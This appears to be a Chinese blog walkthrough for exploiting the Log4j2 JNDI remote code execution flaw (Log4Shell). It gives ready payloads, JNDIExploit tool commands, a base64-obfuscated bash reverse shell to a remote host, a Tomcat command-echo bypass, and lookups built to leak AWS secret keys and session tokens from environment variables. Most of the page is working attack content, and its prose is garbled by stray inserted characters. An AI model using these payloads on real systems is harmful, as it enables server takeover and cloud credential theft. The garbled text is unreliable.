遵紀(jì)守法
任何個人和組織使用網(wǎng)絡(luò)應(yīng)當(dāng)遵守憲法法律膀哲,遵守公共秩序啃沪,尊重社會公德,不得危害網(wǎng)絡(luò)安全憔晒,不得利用網(wǎng)絡(luò)從事危害國家安全藻肄、榮譽(yù)和利益
漏洞描述
Apache Log4j2是一款優(yōu)秀的Java日志框架。2021年11月24日拒担,阿里云安全團(tuán)隊(duì)向Apache官方報告了Apache Log4j2遠(yuǎn)程代碼執(zhí)行漏洞嘹屯。由于Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請求从撼,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞州弟。漏洞利用無需特殊配置,經(jīng)阿里云安全團(tuán)隊(duì)驗(yàn)證低零,Apache Struts2婆翔、Apache Solr、Apache Druid掏婶、Apache Flink等均受影響啃奴。2021年12月10日,阿里云安全團(tuán)隊(duì)發(fā)現(xiàn) Apache Log4j 2.15.0-rc1 版本存在漏洞繞過雄妥,請及時更新至 Apache Log4j 2.15.0-rc2 版本最蕾。阿里云應(yīng)急響應(yīng)中心提醒 Apache Log4j2 用戶盡快采取安全措施阻止漏洞攻擊。
影響版本
Apache Log4j 2.x < 2.15.0-rc2
測試環(huán)境
首先把demo環(huán)境運(yùn)行起來
java -jar demo.jar
訪問頁面提交payload
默認(rèn)是 http://IP:8080/hello
${jndi:ldap://6chk06.dnslog.cn/test}
成功收到信息說明存在漏洞
1.執(zhí)行命令
需要 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar啟一個ldap服務(wù)
-C 是執(zhí)行命令 根據(jù)不同的操作系統(tǒng)
#windows
C:\Windows\System32\calc.exe
#linux
"touch /tmp/123"
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.222.1"
本次測試就用下邊這個
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "C:\Windows\System32\calc.exe"
2.命令回顯
這里用到JNDIExploit-1.2-SNAPSHOT.jar工具啟一個ldap服務(wù)
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1234 -p 8988 -i 0.0.0.0
提交payload
cmd: whoami
Content-Type: application/x-www-form-urlencoded
payload=${jndi:ldap://192.168.222.1:1234/TomcatBypass/TomcatEcho}
命令查詢信息
${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}